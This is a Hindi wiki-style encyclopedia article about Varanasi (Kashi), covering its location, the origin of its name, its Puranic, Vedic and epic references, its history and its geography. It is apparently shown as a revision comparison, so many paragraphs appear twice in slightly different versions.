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__TOC__ {{सुरक्षा}}{{चयनित लेख}} {{सूचना बक्सा वाराणसी}}
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{{वाराणसी लेख सूची}}
*वाराणसी, [[बनारस]] या [[काशी]] भी कहलाता है। वाराणसी दक्षिण-पूर्वी [[उत्तर प्रदेश]] राज्य, उत्तरी-मध्य [[भारत]] में [[गंगा नदी]] के बाएँ तट पर स्थित है और [[हिन्दू|हिन्दुओं]] के सात पवित्र नगरों में से एक है।  
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{{सूचना बक्सा वाराणसी}}
*वाराणसी का पुराना नाम काशी है। वाराणसी विश्व का प्राचीनतम बसा हुआ शहर है। यह गंगा नदी के किनारे बसा है और हज़ारों साल से उत्तर [[भारत]] का धार्मिक एवं सांस्कृतिक केन्द्र रहा है। '''दो नदियों [[वरुणा नदी|वरुणा]] और [[असी नदी|असि]] के मध्य बसा होने के कारण इसका नाम वाराणसी पड़ा।'''  
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वाराणसी, बनारस या [[काशी]] भी कहलाता है। वाराणसी दक्षिण-पूर्वी [[उत्तर प्रदेश]] राज्य, उत्तरी-मध्य [[भारत]] में [[गंगा नदी]] के बाएँ तट पर स्थित है और [[हिन्दू|हिन्दुओं]] के [[सप्त पुरियां|सात पवित्र नगरों]] में से एक है। इसे मन्दिरों एवं घाटों का नगर भी कहा जाता है। वाराणसी का पुराना नाम काशी है। वाराणसी विश्व का प्राचीनतम बसा हुआ शहर है। यह गंगा नदी के किनारे बसा है और हज़ारों साल से उत्तर भारत का धार्मिक एवं सांस्कृतिक केन्द्र रहा है। '''दो नदियों [[वरुणा नदी|वरुणा]] और [[असी नदी|असि]] के मध्य बसा होने के कारण इसका नाम वाराणसी पड़ा।''' बनारस या वाराणसी का नाम [[पुराण|पुराणों]], [[रामायण]], [[महाभारत]] जैसे अनेकानेक ग्रन्थों में मिलता है। [[वेद|वेदों]] में भी काशी का उल्लेख है। [[संस्कृत]] पढ़ने प्राचीन काल से ही लोग वाराणसी आया करते थे। वाराणसी के घरानों की हिन्दुस्तानी [[संगीत]] में अपनी ही शैली है।  
*बनारस या वाराणसी का नाम [[पुराण|पुराणों]], [[रामायण]], [[महाभारत]] जैसे अनेकानेक ग्रन्थों में मिलता है। [[वेद|वेदों]] में भी काशी का उल्लेख है। [[संस्कृत]] पढ़ने प्राचीन काल से ही लोग वाराणसी आया करते थे। वाराणसी के घरानों की हिन्दुस्तानी [[संगीत]] में अपनी ही शैली है।  
 
 
==स्थिति==
 
==स्थिति==
वाराणसी भारतवर्ष की सांस्कृतिक एवं धार्मिक नगरी के रूप में विख्यात है। इसकी प्राचीनता की तुलना विश्व के अन्य प्राचीनतम नगरों जेरुसलेम, एथेंस तथा पेइकिंग (बीजिंग) से की जाती है।<ref>डायना एल इक, बनारस सिटी ऑफ़ लाइट (न्यूयार्क, [[1982]]), प्रथम संस्करण, पृष्ठ 4</ref> वाराणसी गंगा के बाएँ तट पर अर्द्धचंद्राकार में 250 18’ उत्तरी अक्षांश एवं 830 1’ पूर्वी देशांतर पर स्थित है। प्राचीन वाराणसी की मूल स्थिति विद्वानों के मध्य विवाद का विषय रही है।  
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वाराणसी [[भारतवर्ष]] की सांस्कृतिक एवं धार्मिक नगरी के रूप में विख्यात है। इसकी प्राचीनता की तुलना विश्व के अन्य प्राचीनतम नगरों [[जेरुसलेम]], एथेंस तथा पेइकिंग (बीजिंग) से की जाती है।<ref>डायना एल इक, बनारस सिटी ऑफ़ लाइट (न्यूयार्क, [[1982]]), प्रथम संस्करण, पृष्ठ 4</ref> वाराणसी गंगा के बाएँ तट पर अर्द्धचंद्राकार में 250 18’ उत्तरी अक्षांश एवं 830 1’ पूर्वी देशांतर पर स्थित है। प्राचीन वाराणसी की मूल स्थिति विद्वानों के मध्य विवाद का विषय रही है।  
 
====विद्वानों के मतानुसार====
 
====विद्वानों के मतानुसार====
शेरिंग,<ref>एम. ए. शेरिंग, दि सेक्रेड सिटीज ऑफ़ दि हिन्दूज, (लंदन, [[1968]]) पृष्ठ 19-34</ref> मरडाक,<ref>जे. मरडाक, काशी और बनारस ([[1894]]) पृष्ठ 5</ref> ग्रीब्ज,<ref>ई. ग्रीब्ज, काशी, [[इलाहाबाद]], [[1909]], पृष्ठ 3-4</ref> और पारकर<ref>ए. पारकर, ए हैंडबुक ऑफ़ बनारस, पृष्ठ 2</ref> जैसे विद्वानों के मतानुसार प्राचीन वाराणसी वर्तमान नगर के उत्तर में [[सारनाथ]] के समीप स्थित थी। किसी समय वाराणसी की स्थिति दक्षिण भाग में भी रही होगी। लेकिन वर्तमान नगर की स्थिति वाराणसी से पूर्णतया भिन्न है, जिससे यह प्राय: निश्चित है कि वाराणसी नगर की प्रकृति यथासमय एक स्थान से दूसरे स्थान पर विस्थापित होने की रही है। यह विस्थापन मुख्यतया दक्षिण की ओर हुआ है। पर किसी पुष्ट प्रमाण के अभाव में विद्वानों का उक्त मत समीचीन नहीं प्रतीत होता है।  
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शेरिंग,<ref>एम. ए. शेरिंग, दि सेक्रेड सिटीज ऑफ़ दि हिन्दूज, (लंदन, [[1968]]) पृष्ठ 19-34</ref> मरडाक,<ref>जे. मरडाक, काशी और बनारस ([[1894]]) पृष्ठ 5</ref> ग्रीब्ज,<ref>ई. ग्रीब्ज, काशी, [[इलाहाबाद]], [[1909]], पृष्ठ 3-4</ref> और पारकर<ref>ए. पारकर, ए हैंडबुक ऑफ़ बनारस, पृष्ठ 2</ref> जैसे विद्वानों के मतानुसार प्राचीन वाराणसी वर्तमान नगर के उत्तर में [[सारनाथ]] के समीप स्थित थी। किसी समय वाराणसी की स्थिति दक्षिण भाग में भी रही होगी। लेकिन वर्तमान नगर की स्थिति वाराणसी से पूर्णतया भिन्न है, जिससे यह प्राय: निश्चित है कि वाराणसी नगर की प्रकृति यथासमय एक स्थान से दूसरे स्थान पर विस्थापित होने की रही है। यह विस्थापन मुख्यतया दक्षिण की ओर हुआ है, पर किसी पुष्ट प्रमाण के अभाव में विद्वानों का उक्त मत समीचीन नहीं प्रतीत होता है।  
[[चित्र:Ganga-River-Varanasi.jpg|left|[[गंगा नदी]], वाराणसी|thumb|250px]]
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गंगा नदी के तट पर बसे इस शहर को ही भगवान [[शिव]] ने [[पृथ्‍वी]] पर अपना स्‍थायी निवास बनाया था। यह भी माना जाता है कि वाराणसी का निर्माण सृष्टि रचना के प्रारम्भिक चरण में ही हुआ था। यह शहर प्रथम ज्‍योर्तिलिंग का भी शहर है। [[पुराण|पुराणों]] में वाराणसी को ब्रह्मांड का केंद्र बताया गया है तथा यह भी कहा गया है यहाँ के कण-कण में शिव निवास करते हैं। वाराणसी के लोगों के अनुसार, '''काशी के कण-कण में शिवशंकर हैं।''' इनके कहने का अर्थ यह है कि यहाँ के प्रत्‍येक पत्‍थर में शिव का निवास है। कहते हैं कि काशी शंकर भगवान के [[त्रिशूल]] पर टिकी है।  
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गंगा नदी के तट पर बसे इस शहर को ही भगवान [[शिव]] ने [[पृथ्वी देवी|पृथ्वी]] पर अपना स्‍थायी निवास बनाया था। यह भी माना जाता है कि वाराणसी का निर्माण सृष्टि रचना के प्रारम्भिक चरण में ही हुआ था। यह शहर प्रथम ज्‍योर्तिलिंग का भी शहर है। [[पुराण|पुराणों]] में वाराणसी को ब्रह्मांड का केंद्र बताया गया है तथा यह भी कहा गया है यहाँ के कण-कण में शिव निवास करते हैं। वाराणसी के लोगों के अनुसार, '''काशी के कण-कण में शिवशंकर हैं।''' इनके कहने का अर्थ यह है कि यहाँ के प्रत्‍येक पत्‍थर में शिव का निवास है। कहते हैं कि काशी शंकर भगवान के [[त्रिशूल]] पर टिकी है।  
 
====हेवेल की दृष्टि में====
 
====हेवेल की दृष्टि में====
हेवेल की दृष्टि में वाराणसी नगर की स्थिति विस्थापन प्रधान थी, अपितु प्राचीन काल में भी वाराणसी का वर्तमान स्वरूप सुरक्षित था।<ref>ई.वी. हैवेल, बनारस दि सेक्रेड सिटी पृष्ठ 41-50</ref>''' हेवेल के मतानुसार [[बुद्ध]] पूर्व युग में आधुनिक सारनाथ एक घना जंगल था और यह विभिन्न धर्मावलंबियों का आश्रय स्थल भी था।'''  
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हेवेल की दृष्टि में वाराणसी नगर की स्थिति विस्थापन प्रधान थी, अपितु प्राचीन काल में भी वाराणसी का वर्तमान स्वरूप सुरक्षित था।<ref>ई.वी. हैवेल, बनारस दि सेक्रेड सिटी पृष्ठ 41-50</ref>''' हेवेल के मतानुसार [[बुद्ध]] पूर्व [[युग]] में आधुनिक [[सारनाथ]] एक घना जंगल था और यह विभिन्न धर्मावलंबियों का आश्रय स्थल भी था।'''  
भौगोलिक दशाओं के परिप्रेक्ष्य में हेवेल का मत युक्तिसंगत प्रतीत होता है। वास्तव में वाराणसी नगर का अस्तित्व [[बुद्ध]] से भी प्राचीन है तथा उनके आविर्भाव के सदियों पूर्व से ही यह एक धार्मिक नगरी के रूप में ख्याति प्राप्त था। सारनाथ का उद्भव महात्मा बुद्ध के प्रथम धर्मचक्र प्रवर्तन के उपरांत हुआ। रामलोचन सिंह ने भी कुछ संशोधनों के साथ हेवेल के मत का समर्थन किया है। उनके अनुसार नगर की मूल स्थिति प्राय: उत्तरी भाग में स्वीकार करनी चाहिए।<ref>रामलोचन सिंह, बनारस, एक सिटी इन अर्बन ज्योग्राफी, पृष्ठ 31</ref> हाल के अकथा उत्खनन से इस बात की पुष्टि होती है कि वाराणसी की प्राचीन स्थिति उत्तर में थी जहाँ से 1300 ईसा पूर्व के अवशेष प्रकाश में आये हैं।
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भौगोलिक दशाओं के परिप्रेक्ष्य में हेवेल का मत युक्तिसंगत प्रतीत होता है। वास्तव में वाराणसी नगर का अस्तित्व [[बुद्ध]] से भी प्राचीन है तथा उनके आविर्भाव के सदियों पूर्व से ही यह एक धार्मिक नगरी के रूप में ख्याति प्राप्त था। सारनाथ का उद्भव महात्मा बुद्ध के प्रथम धर्मचक्र प्रवर्तन के उपरांत हुआ। रामलोचन सिंह ने भी कुछ संशोधनों के साथ हेवेल के मत का समर्थन किया है। उनके अनुसार नगर की मूल स्थिति प्राय: उत्तरी भाग में स्वीकार करनी चाहिए।<ref>रामलोचन सिंह, बनारस, एक सिटी इन अर्बन ज्योग्राफी, पृष्ठ 31</ref> हाल में [[अकथा]] के [[उत्खनन]] से इस बात की पुष्टि होती है कि वाराणसी की प्राचीन स्थिति उत्तर में थी जहाँ से 1300 ईसा पूर्व के [[अवशेष]] प्रकाश में आये हैं।
 
==नामकरण==
 
==नामकरण==
‘वाराणसी’ शब्द ‘वरुणा’ और ‘असी’ दो नदीवाचक शब्दों के योग से बना है। पौराणिक अनुश्रुतियों के अनुसार '''वरुणा''' और '''असि''' नाम की नदियों के बीच में बसने के कारण ही इस नगर का नाम वाराणसी पड़ा।  
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‘वाराणसी’ शब्द ‘वरुणा’ और ‘असी’ दो नदीवाचक शब्दों के योग से बना है। पौराणिक अनुश्रुतियों के अनुसार 'वरुणा' और 'असि' नाम की नदियों के बीच में बसने के कारण ही इस नगर का नाम वाराणसी पड़ा।  
 
*'[[पद्मपुराण]]' के एक उल्लेख के अनुसार दक्षिणोत्तर में ‘वरना’ और पूर्व में ‘असि’ की सीमा से घिरे होने के कारण इस नगर का नाम वाराणसी पड़ा।<ref>वाराणसीति यत् ख्यातं तम्मानं निगदामिव।
 
*'[[पद्मपुराण]]' के एक उल्लेख के अनुसार दक्षिणोत्तर में ‘वरना’ और पूर्व में ‘असि’ की सीमा से घिरे होने के कारण इस नगर का नाम वाराणसी पड़ा।<ref>वाराणसीति यत् ख्यातं तम्मानं निगदामिव।
 
दक्षिणातरयौ नयौ परणासिश्चपूर्णत:॥- [[पद्मपुराण]], काशी माहात्म्य 5/58</ref>  
 
दक्षिणातरयौ नयौ परणासिश्चपूर्णत:॥- [[पद्मपुराण]], काशी माहात्म्य 5/58</ref>  
 
*'[[अथर्ववेद]]'<ref>[[अथर्ववेद]], 4/7/1</ref> में वरणावती नदी का उल्लेख है। संभवत: यह आधुनिक वरुणा का ही समानार्थक है।  
 
*'[[अथर्ववेद]]'<ref>[[अथर्ववेद]], 4/7/1</ref> में वरणावती नदी का उल्लेख है। संभवत: यह आधुनिक वरुणा का ही समानार्थक है।  
 
*'[[अग्निपुराण]]' में नासी नदी का उल्लेख मिलता है।  
 
*'[[अग्निपुराण]]' में नासी नदी का उल्लेख मिलता है।  
====पौराणिक उल्लेख====
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==पौराणिक उल्लेख==
वाराणसी के संदर्भ में इस तरह के अनेक पौराणिक और लोकमिथक प्रचलित हैं। इन [[मिथक|मिथकों]] की व्याख्या का प्रयास विद्वानों ने किया है। [[कनिंघम]]<ref>ऐंश्येंट ज्योग्राफी ऑफ़ इंडिया, (वाराणसी, [[1963]]), पृष्ठ 367</ref> ने ‘बरना’ और ‘असि’ के मध्य वाराणसी की स्थिति स्वीकार की है। एम. जूलियन महोदय ने कनिंघम के मत पर संदेह व्यक्त करते हुए ‘बरना’ नदी का ही प्राचीन नाम ‘वाराणसी’ माना है।<ref>एम. जूलियन, लाइफ एंड पिलग्रिमेज ऑफ़ युवॉन्-च्वाङ्ग, 1/133,2/354</ref> यद्यपि वे अपने मत की पुष्टि में कोई प्रमाण नहीं देते, परंतु इतना तो निश्चित है कि '''वैदिक पौराणिक उल्लेखों में ‘असि’ का नदी के रूप में कहीं भी वर्णन नहीं मिलता।''' {{बाँयाबक्सा|पाठ=वाराणसी विश्व का प्राचीनतम बसा हुआ शहर है। दो नदियों [[वरुणा नदी|वरुणा]] और [[असी नदी|असि]] के मध्य बसा होने के कारण इसका नाम 'वाराणसी' पड़ा।|विचारक=}}
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'[[महाभारत]]' में 'काशी' का नाम 'वाराणसी' भी मिलता है-
[[महाभारत]]<ref>[[महाभारत]], 6/10/30</ref> में उल्लेख आया है कि वरना का प्राचीन नाम वाराणसी था और इसमें दो नदियों के नाम निकालने की प्रक्रिया अपेक्षाकृत बाद की है। पद्मपुराण<ref>शेरिंग, दि सेक्रेड सिटी ऑफ़ बनारस, (लंदन, 1968), पृष्ठ 19</ref> में ‘वरणासि’ का एक नदी के रूप में उल्लेख है। विभिन्न पुराणों के इन प्रसंगों से किसी निश्चित निष्कर्ष पर पहुँचने में कठिनाई होती है। मोतीचंद्र ने वाराणसी में ‘वरुणा’ और ‘असी’ की संगति की अवधारणा को काल्पनिक प्रक्रिया माना है। संभव है कि असी पर बसने के कारण इस नगर का नाम वाराणसी पड़ा हो। ‘वरुणा’ और ‘असि’ के मध्य वाराणसी के बसने की कल्पना उस समय हुई जब नगर की धार्मिक महिमा बढ़ी और कालांतर में यह कल्पना स्थिर हो गई।<ref>मोतीचंद्र, काशी का इतिहास, ([[बंबई]], प्रथम संस्करण, [[1962]] ई.) पृष्ठ 4</ref>  
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'''इस तथ्य से प्राय: सभी विद्वान सहमत हैं कि प्राचीन वाराणसी आधुनिक राजघाट के ऊँचे मैदान पर बसा था, और इसका प्राचीन विस्तार <ref>भग्नावशेषो के आधार पर</ref> वरना (वरुणा) के उस पार <ref>बाएँ तट पर</ref> भी था।''' वरना से असी की ओर का विस्तार परवर्ती है। उल्लेखनीय है कि प्राचीन वाराणसी सदैव वरना पर ही स्थित नहीं थी, बल्कि गंगा तक उसका प्रसार था। कम से कम पतंजलि के काल में (ईसा पूर्व दूसरी शताब्दी में) उसका बसाव गंगा के किनारे-किनारे था जैसा कि अष्टाध्यायी के एक सूत्र<ref>यस्य आयाम:। 2/1/16, अष्टाध्यायी पाणिनि</ref> पर पतंजलि के भाष्य<ref>‘‘अनुगंगं वाराणसी अनुशोणं पाटलिपुत्रं’’ कीलहार्न, 1/380</ref> से स्पष्ट है।
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<blockquote>'समेतं पार्थिवंक्षत्रं वाराणस्यां नदीसुतः, कन्यार्थमाह्वयद् वीरो रथनैकेन संयुगे।'<ref>[[महाभारत]], [[शांतिपर्व महाभारत|शांतिपर्व]] 37, 9</ref></blockquote>
[[चित्र:Kashi-Map.jpg|thumb|300px|[[काशी|काशी महाजनपद]]]]
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====वृक्ष के नाम के आधार पर====
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<blockquote>'ततो वाराणसीं गत्वा अर्चयित्वा वृषभध्वजम्, कपिलाह्नदे नरः स्नात्वा राजसूयमवाप्नुयात्।'<ref>महाभारत, [[वनपर्व महाभारत|वनपर्व]] 84, 78</ref></blockquote>
वाराणसी के नामकरण के संबंध में एक दूसरी संभावना भी है। वरणा शब्द एक वृक्ष विशेष का द्योतक है। प्राचीन काल में वृक्षों के नाम के आधार पर नगरों का नामकरण किया गया था। कोसंब से कोशांबी, रोहीत से रोहतक इत्यादि। अत: बहुत संभव है कि उसी परम्परा में वाराणसी और वरणावती दोनों का नाम यहाँ पर अधिक उत्पन्न होने वाले वरणा वृक्ष के कारण पड़ा हो।
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====दूसरा नाम ‘काशी’====
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[[जैन धर्म|जैन]] [[ग्रंथ]] 'प्रज्ञापणा सूत्र' में भी वाराणसी का उल्लेख है। 'विविधितीर्थकल्प' के अनुसार असी गंगा और [[वरुणा नदी|वरुणा]] के तट पर स्थित होने के कारण यह नगरी 'वाराणसी' कहलाती थी। वाराणसी के संबंध में [[हरिश्चन्द्र|महाराजा हरिश्चन्द्र]] की [[कथा]], रूपांतरण के साथ इस जैन ग्रंथ में वर्णित है। वाराणसी के इस ग्रंथ में पांच मुख्य विभाग बतलाए गए हैं<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=844|url=}}</ref>-
{{Main|काशी}}
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#'देव वाराणसी', जहां विश्वनाथ का मन्दिर था तथा चैबीस जिनपट्ट स्थित हैं,
वाराणसी का दूसरा नाम ‘काशी’ प्राचीन काल में एक जनपद के रूप में प्रख्यात था और वाराणसी उसकी राजधानी थी। इसकी पुष्टि पाँचवीं शताब्दी में भारत आने वाले चीनी यात्री [[फ़ाह्यान]] के यात्रा विवरण से भी होती है।<ref>जेम्स लेग्गे, ट्रेवेल्स ऑफ़ [[फ़ाह्यान]], ([[दिल्ली]], [[1972]], द्वितीय संस्करण), पृष्ठ 94</ref> [[हरिवंशपुराण]] में उल्लेख आया है कि ‘काशी’ को बसाने वाले पुरुरवा के वंशज राजा ‘काश’ थे। अत: उनके वंशज ‘काशि’ कहलाए।<ref>‘‘काशस्य काशयो राजन् पुत्रोदीर्घतपस्तथा।’’ – [[हरिवंशपुराण]], अध्याय 29</ref> संभव है इसके आधार पर ही इस जनपद का नाम ‘काशी’ पड़ा हो।
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#राजधानी वाराणसी
काशी नामकरण से संबद्ध एक पौराणिक मिथक भी उपलब्ध है। उल्लेख है कि [[विष्णु]] ने [[पार्वती]] के मुक्तामय कुंडल गिर जाने से इस क्षेत्र को मुक्त क्षेत्र की संज्ञा दी और इसकी अकथनीय परम ज्योति के कारण तीर्थ का नामकरण काशी किया।<ref>‘‘काशते त्रयतो ज्योतिस्तदनख्येमपोश्वर:। अतोनापरं चास्तुकाशीति प्रथितांविभो।’ ॥68॥ काशी खंड, अध्याय 26</ref>
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#यवनों का निवास स्थान
====महाश्‍मशान====
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#मदन वाराणसी
काशी को 'महाश्‍मशान' के नाम से भी जाना जाता है। इसे [[पृथ्वी देवी|पृथ्वी]] की सबसे बड़ी शमशान भूमि माना जाता था। यहाँ के मणिकर्णिका घाट तथा हरिश्‍चंद्र घाट को सबसे पवित्र घाट माना जाता है। प्राचीन काल में विश्‍वास किया जाता था कि यहाँ जिनका क्रिया कर्म किया जाता है उन्‍हें मोक्ष की प्राप्ति होती है। वाराणसी का एक अन्‍य नाम 'अभिमुक्‍ता' था। माना जाता है कि इस नगरी को भगवान [[शिव]] अपने त्रिशूल पर उठाए हुए हैं।
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#विजय वाराणसी
  
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'दंतखात सरोवर' के निकट [[तीर्थंकर]] [[पार्श्वनाथ तीर्थंकर|पार्श्वनाथ]] का चैत्य स्थित था और उससे 6 मील की दूरी पर बोधिसत्व का मंदिर था।
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[[चित्र:Varanasi-India.jpg|thumb|300pxl|left|वाराणसी]]
 
==इतिहास==
 
==इतिहास==
 
{{मुख्य|वाराणसी का इतिहास}}
 
{{मुख्य|वाराणसी का इतिहास}}
[[चित्र:Pandit-Madan-Mohan-Malaviya.jpg|[[मदनमोहन मालवीय|पंडित मदनमोहन मालवीय]]|thumb]]
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ऐतिहासिक आलेखों से प्रमाणित होता है कि ईसा पूर्व की छठी शताब्दी में वाराणसी [[भारत]] का बड़ा ही समृद्धशाली और महत्त्वपूर्ण राज्य था। मध्य युग में यह [[कन्नौज]] राज्य का अंग था और बाद में [[बंगाल]] के पाल नरेशों का इस पर अधिकार हो गया था। सन् 1194 में [[मुहम्मद ग़ोरी|शहाबुद्दीन ग़ोरी]] ने इस नगर को लूटा और क्षति पहुँचायी। [[मुग़ल काल]] में इसका नाम बदल कर मुहम्मदाबाद रखा गया। बाद में इसे अवध दरबार के [[प्रत्यक्ष]] नियंत्रण में रखा गया। बलवंत सिंह ने [[बक्सर का युद्ध|बक्सर की लड़ाई]] में [[अंग्रेज़|अंग्रेज़ों]] का साथ दिया और इसके उपलक्ष्य में वाराणसी को अवध दरबार से स्वतंत्र कराया। सन् [[1911]] में अंग्रेज़ों ने महाराज प्रभुनारायण सिंह को वाराणसी का राजा बना दिया। सन् [[1950]] में यह राज्य स्वेच्छा से भारतीय गणराज्य में शामिल हो गया।
ऐतिहासिक आलेखों से प्रमाणित होता है कि ईसा पूर्व की छठी शताब्दी में वाराणसी भारतवर्ष का बड़ा ही समृद्धशाली और महत्त्वपूर्ण राज्य था। मध्य युग में यह [[कन्नौज]] राज्य का अंग था और बाद में [[बंगाल]] के पाल नरेशों का इस पर अधिकार हो गया था। सन 1194 में [[मुहम्मद ग़ोरी|शहाबुद्दीन ग़ोरी]] ने इस नगर को लूटा और क्षति पहुँचायी। [[मुग़ल काल]] में इसका नाम बदल कर मुहम्मदाबाद रखा गया। बाद में इसे अवध दरबार के प्रत्यक्ष नियंत्रण में रखा गया। बलवंत सिंह ने बक्सर की लड़ाई में अंग्रेज़ों का साथ दिया और इसके उपलक्ष्य में वाराणसी को अवध दरबार से स्वतंत्र कराया। सन [[1911]] में अंग्रेज़ों ने महाराज प्रभुनारायण सिंह को वाराणसी का राजा बना दिया। सन [[1950]] में यह राज्य स्वेच्छा से भारतीय गणराज्य में शामिल हो गया।
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वाराणसी विभिन्न मत-मतान्तरों की संगम स्थली रही है। विद्या के इस पुरातन और शाश्वत नगर ने सदियों से धार्मिक गुरुओं, सुधारकों और प्रचारकों को अपनी ओर आकृष्ट किया है। '''भगवान [[बुद्ध]] और [[शंकराचार्य]] के अलावा [[रामानुज]], [[वल्लभाचार्य]], [[संत कबीर]], [[गुरु नानक]], [[तुलसीदास]], [[चैतन्य महाप्रभु]], [[रैदास]] आदि अनेक संत इस नगरी में आये।'''
वाराणसी विभिन्न मत-मतान्तरों की संगम स्थली रही है। विद्या के इस पुरातन और शाश्वत नगर ने सदियों से धार्मिक गुरुओं, सुधारकों और प्रचारकों को अपनी ओर आकृष्ट किया है। '''भगवान [[बुद्ध]] और [[शंकराचार्य]] के अलावा [[रामानुज]], [[वल्लभाचार्य]], संत [[कबीर]], गुरु [[नानक]], [[तुलसीदास]], [[चैतन्य महाप्रभु]], [[रैदास]] आदि अनेक संत इस नगरी में आये।'''
 
====भारतीय स्वतंत्रता आंदोलन====
 
भारतीय स्वातंत्रता आंदोलन में भी वाराणसी सदैव अग्रणी रही है। राष्ट्रीय आंदोलन में काशी हिन्दू विश्वविद्यालय के छात्रों का योगदान स्मरणीय है। इस नगरी को क्रांतिकारी सुशील कुमार लाहिड़ी, अमर शहीद [[चंद्रशेखर आज़ाद]] तथा जितेद्रनाथ सान्याल सरीखे वीर सपूतों को जन्म देने का गौरव प्राप्त है।
 
====वैदिक साहित्य में वाराणसी====
 
{{Main|प्राचीन साहित्य में वाराणसी}}
 
वाराणसी (काशी) की प्राचीनता का इतिहास वैदिक साहित्य में भी उपलब्ध होता है। वैदिक साहित्य के तीनों स्तरों (संहिता, [[ब्राह्मण]] एवं [[उपनिषद]]) में वाराणसी का विवरण मिलता है।
 
[[चित्र:Pandit-Teaching-Vedas-Varanasi.jpg|thumb|250px|left|[[वेद]] पाठ कराते ब्राह्मण, वाराणसी<br />वर्ष- 1870 ]]
 
'''वैदिक साहित्य<ref>[[शतपथ ब्राह्मण]], 1/4/1/10-17: मोतीचंद्र, काशी का इतिहास, पृष्ठ 19</ref> में कहा है कि आर्यों का एक क़ाफ़िला विदेध माथव के नेतृत्व में आधुनिक उत्तर प्रदेश के मध्य से सदानीरा अथवा गंडक के किनारे जा पहुँचा और वहाँ कोशल जनपद की नींव पड़ी।''' जब आर्यों ने उत्तर भारत पर अधिकार कर लिया तो आर्यों की एक जाति [[कास्सी]] ने वाराणसी के समीप 1400 से 1000 ई. पू. के मध्य अपने को स्थापित किया।<ref>ई.बी.हैवेल, बनारस, दि सेक्रेड सिटी, ([[कलकत्ता]] पुनर्मुदित, [[1968]] ई.),पृष्ठ 2</ref>
 
====महाकाव्यों में वर्णित वाराणसी====
 
महाकाव्यों में वाराणसी के संदर्भ में कई उल्लेख मिलते हैं।
 
;महाभारत
 
महाभारत में वाराणसी का उल्लेख अनेक स्थलों पर हुआ है। महाभारत से इस तथ्य की पुष्टि होती है कि वरना का ही प्राचीन नाम वाराणसी था।<ref>महाभारत, 6/10/30</ref> आदिपर्व में काशिराज की पुत्री सार्वसेनी का विवाह दुष्यंत के पुत्र [[भरत (दुष्यंत पुत्र)|भरत]] के साथ होने का विवरण मिलता है।<ref>तत्रेव, आदिपर्व, अध्याय 95</ref> एक अन्य स्थल पर भीष्म द्वारा काशिराज की तीन पुत्रियों- अंबा, अंबिका और अम्बालिका के स्वयंवर में जीते जाने का उल्लेख है।<ref>तत्रेव, उद्योगपर्व, 72/74</ref> '''काशी के शासक प्रतर्दन तथा [[मिथिला]] के शासक [[जनक]] के मध्य युद्ध की चर्चा भी [[महाभारत]] में मिलती है।'''<ref>तत्रैव, 12/99/1-2</ref>
 
;वाल्मीकि रामायण
 
{{मुख्य|वाल्मीकि रामायण}}
 
वाल्मीकि रामायण में वाराणसी से संबंधित प्रकरण अपेक्षाकृत कम मिलते हैं। उत्तरकांड में काशिराज पुरुरवा का नाम आया है।<ref>वाल्मीकि रामायण, उत्तरकांड 56/25</ref> इसी कांड में यह भी आया है कि '''[[ययाति]] का पुत्र पुरु प्रतिष्ठान के साथ ही वाराणसी का भी शासक था।'''<ref>तत्रैव, 59/19</ref> [[रामायण]] के एक अन्य स्थल पर काशी-कोशल जनपद का एक साथ उल्लेख मिलता है।<ref>महीकाल मही चापि शैल कानन शोभिताम्। ब्रह्ममालांविदेहाश्च मालवान काशि कोशलान्॥ बाल्मीकिरामायण, किष्किंधाकांड, 20,22</ref>
 
 
==भौगोलिक स्थिति==
 
==भौगोलिक स्थिति==
 
{{मुख्य|वाराणसी का भूगोल}}
 
{{मुख्य|वाराणसी का भूगोल}}
वाराणसी नगर की रचना गंगा के किनारे है, जिसका विस्तार लगभग 5 मील में है। ऊँचाई पर बसे होने के कारण अधिकतर वाराणसी बाढ़ की विभीषिका से सुरक्षित रहता है, परंतु वाराणसी के मध्य तथा दक्षिणी भाग के निचने इलाके प्रभावित होते हैं।  
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वाराणसी नगर की रचना [[गंगा]] के किनारे है, जिसका विस्तार लगभग 5 मील में है। ऊँचाई पर बसे होने के कारण अधिकतर वाराणसी बाढ़ की विभीषिका से सुरक्षित रहता है, परंतु वाराणसी के मध्य तथा दक्षिणी भाग के निचले इलाक़े प्रभावित होते हैं। नगर के आकार की धार्मिक मान्यताओं के आधार पर व्याख्या करने के अनेक प्रयास किए गये हैं। इन मान्यताओं की भौगोलिक व्याख्या को कमोवेश स्वीकारा गया है। ऐसे सामान्यत: प्रचलित विश्वासों की सूची इस प्रकार बनाई है।
====नगर का आकार====
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====प्रचलित विश्वासों की सूची====
नगर के आकार की धार्मिक मान्यताओं के आधार पर व्याख्या करने के अनेक प्रयास किए गये हैं। इन मान्यताओं की भौगोलिक व्याख्या को कमोवेश स्वीकारा गया है। ऐसे सामान्यत: प्रचलित विश्वासों की सूची इस प्रकार बनाई है-
 
 
;कृत त्रिशूल
 
;कृत त्रिशूल
 
इस त्रिशूल के तीन शूल हैं- उत्तर में ओंकारेश्वर, मध्य में विश्वेश्वर तथा दक्षिण में केदारेश्वर। यह तीनों गंगा तट पर स्थित हैं। मांन्यता है कि यह नगरी भगवान [[शिव]] को समर्पित है और उनके त्रिशूल पर स्थित है।
 
इस त्रिशूल के तीन शूल हैं- उत्तर में ओंकारेश्वर, मध्य में विश्वेश्वर तथा दक्षिण में केदारेश्वर। यह तीनों गंगा तट पर स्थित हैं। मांन्यता है कि यह नगरी भगवान [[शिव]] को समर्पित है और उनके त्रिशूल पर स्थित है।
 
;त्रेतायुग चक्र
 
;त्रेतायुग चक्र
चौरासी कोस यात्रा के तदनुरूप है और मध्यमेश्वर इसका केन्द्र है जो गंगा के निकट अवस्थित है।[[चित्र:Sunset -Varanasi.jpg|thumb|250px|left|सूर्यास्त का एक दृश्य, वाराणसी]]
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चौरासी कोस यात्रा के तदनुरूप है और मध्यमेश्वर इसका केन्द्र है जो गंगा के निकट अवस्थित है।
 
;द्वापर रथ
 
;द्वापर रथ
 
सात प्रकार के शिव मंदिर, रथ का समरूप बनाते हैं। ये हैं- गोकर्णेश्वर, सुलतानकेश्वर, मणिकर्णेश्वर, भारभूतेश्वर, विश्वेश्वर, मध्यमेश्वर तथा ओंकारेश्वर। इस आकार में भी [[गंगा नदी]] की महत्त्वपूर्ण भूमिका है।  
 
